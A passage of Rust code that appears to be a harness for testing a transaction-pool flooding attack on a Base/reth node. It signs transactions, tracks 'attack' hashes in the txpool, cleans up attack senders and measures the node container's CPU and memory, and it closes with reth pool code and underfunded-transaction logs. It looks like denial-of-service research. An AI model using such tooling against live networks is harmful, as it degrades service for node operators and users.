chain_id: u64,
nonce: u64,
recipient: Address,
value: U256,
gas_limit: u64,
max_fee_per_gas: u128,
max_priority_fee_per_gas: u128,
input: Bytes,
) -> Result<SignedTxArtifact> {
let tx_request = BaseTransactionRequest::default()
.from(signer.address())
.to(recipient)
.value(value)
.transaction_type(2)
.with_gas_limit(gas_limit)
.with_max_fee_per_gas(max_fee_per_gas)
.with_max_priority_fee_per_gas(max_priority_fee_per_gas)
.with_chain_id(chain_id)
.with_nonce(nonce)
.input(input.into());
let tx = tx_request.build_typed_tx().map_err(|_| eyre::eyre!("invalid transaction request"))?;
let tx_cost =
value.saturating_add(U256::from(gas_limit).saturating_mul(U256::from(max_fee_per_gas)));
let tx_gas_limit = tx.gas_limit();
let signature = signer.sign_hash_sync(&tx.signature_hash())?;
let signed_tx = tx.into_signed(signature);
let hash = *signed_tx.hash();
let raw: Bytes = signed_tx.encoded_2718().into();
Ok(SignedTxArtifact { hash, raw, tx_cost, gas_limit: tx_gas_limit })
}
async fn count_known_statuses(rpc_client: &HttpClient, hashes: &[TxHash]) -> Result<usize> {
let mut known = 0usize;
for hash in hashes {
let response: StatusResponse =
ClientT::request(rpc_client, "base_transactionStatus", rpc_params![hash]).await?;
if response.status == "Known" {
known += 1;
}
}
Ok(known)
}
async fn count_mined_receipts(provider: &RootProvider<Base>, hashes: &[TxHash]) -> Result<usize> {
let mut mined = 0usize;
for hash in hashes {
if provider.get_transaction_receipt(*hash).await?.is_some() {
mined += 1;
}
}
Ok(mined)
}
async fn count_hashes_in_txpool(
rpc_client: &HttpClient,
attack_hashes: &HashSet<String>,
) -> Result<usize> {
let content: Value = ClientT::request(rpc_client, "txpool_content", rpc_params![]).await?;
let mut matches = HashSet::new();
for subpool in ["pending", "queued"] {
let Some(addresses) = content.get(subpool).and_then(Value::as_object) else {
continue;
};
for nonces in addresses.values() {
let Some(nonces) = nonces.as_object() else {
continue;
};
for tx_value in nonces.values() {
let Some(hash) = tx_value.get("hash").and_then(Value::as_str) else {
continue;
};
if attack_hashes.contains(hash) {
matches.insert(hash.to_string());
}
}
}
}
Ok(matches.len())
}
async fn cleanup_attack_senders(rpc_client: &HttpClient, plans: &[AttackPlan]) -> Result<()> {
for plan in plans {
let sender = format!("{:#x}", plan.signer.address());
let _: Vec<String> =
ClientT::request(rpc_client, "admin_dropSenderTransactions", rpc_params![sender])
.await?;
}
Ok(())
}
async fn sample_docker_stats(container: Option<&str>) -> Option<DockerStatsSample> {
let container = container?.to_string();
tokio::task::spawn_blocking(move || sample_docker_stats_blocking(&container))
.await
.ok()
.flatten()
}
fn sample_docker_stats_blocking(container: &str) -> Option<DockerStatsSample> {
let output = Command::new("docker")
.args(["stats", container, "--no-stream", "--format", "{{.CPUPerc}}|{{.MemUsage}}"])
.output()
.ok()?;
if !output.status.success() {
return None;
}
let stdout = String::from_utf8(output.stdout).ok()?;
let line = stdout.lines().next()?.trim();
let (cpu_raw, mem_raw) = line.split_once('|')?;
Some(DockerStatsSample {
cpu_percent: parse_percent(cpu_raw),
mem_usage_bytes: parse_mem_usage(mem_raw),
cpu_raw: Some(cpu_raw.to_string()),
mem_raw: Some(mem_raw.to_string()),
})
}
fn update_peak(peak: &mut DockerStatsPeak, sample: &DockerStatsSample) {
if let Some(cpu) = sample.cpu_percent {
if cpu > peak.cpu_percent {
peak.cpu_percent = cpu;
peak.cpu_raw = sample.cpu_raw.clone();
}
}
if let Some(mem) = sample.mem_usage_bytes {
if mem > peak.mem_usage_bytes {
peak.mem_usage_bytes = mem;
peak.mem_raw = sample.mem_raw.clone();
}
}
}
fn parse_percent(value: &str) -> Option<f64> {
value.trim().strip_suffix('%')?.trim().parse().ok()
}
fn parse_mem_usage(value: &str) -> Option<u64> {
let used = value.split('/').next()?.trim();
parse_human_size(used)
}
fn parse_human_size(value: &str) -> Option<u64> {
let value = value.trim();
let split_idx =
value.find(|ch: char| !(ch.is_ascii_digit() || ch == '.')).unwrap_or(value.len());
let (number, unit) = value.split_at(split_idx);
let number: f64 = number.parse().ok()?;
let multiplier = match unit.trim().to_ascii_lowercase().as_str() {
"b" => 1.0,
"kb" | "kib" => 1024.0,
"mb" | "mib" => 1024.0 * 1024.0,
"gb" | "gib" => 1024.0 * 1024.0 * 1024.0,
"tb" | "tib" => 1024.0 * 1024.0 * 1024.0 * 1024.0,
_ => return None,
};
Some((number * multiplier) as u64)
}
fn parse_u64_quantity(value: &str) -> Result<u64> {
Ok(u64::from_str_radix(value.trim_start_matches("0x"), 16)?)
}
fn parse_u256_quantity(value: &str) -> Result<U256> {
Ok(U256::from_str_radix(value.trim_start_matches("0x"), 16)?)
}
fn parse_bytes32(value: &str) -> Result<[u8; 32]> {
let bytes = hex::decode(value.trim_start_matches("0x"))?;
ensure!(bytes.len() == 32, "expected 32-byte storage value, got {}", bytes.len());
let mut out = [0u8; 32];
out.copy_from_slice(&bytes);
Ok(out)
}
fn format_ether(value: U256) -> String {
let digits = value.to_string();
if digits.len() <= 18 {
let mut fraction = format!("{digits:0>18}");
trim_fraction(&mut fraction);
if fraction.is_empty() { "0".to_string() } else { format!("0.{fraction}") }
} else {
let split = digits.len() - 18;
let whole = &digits[..split];
let mut fraction = digits[split..].to_string();
trim_fraction(&mut fraction);
if fraction.is_empty() { whole.to_string() } else { format!("{whole}.{fraction}") }
}
}
fn trim_fraction(fraction: &mut String) {
while fraction.ends_with('0') {
fraction.pop();
}
}
// reth/crates/transaction-pool/src/pool/txpool.rs
// Transaction with the same nonce already exists: replacement candidate
let existing_transaction = entry.get().transaction.as_ref();
let maybe_replacement = transaction.as_ref();
if existing_transaction.is_underpriced(maybe_replacement, &self.price_bumps) {
return Err(InsertErr::Underpriced { ... })
}
let replaced = entry.insert(pool_tx);
DEBUG build_payload:build_flashblock: payload_builder: Considering transaction
tx_hash=0x507182a6f7ae4807dfa29ec92d7002ab1d7b6e022c58666d1132653030ae3feb
result=internal error: lack of funds (451200000000028) for max fee (1201200000000000)
TRACE build_payload:build_flashblock: payload_builder: skipping invalid transaction and its descendants
err=lack of funds (451200000000028) for max fee (1201200000000000)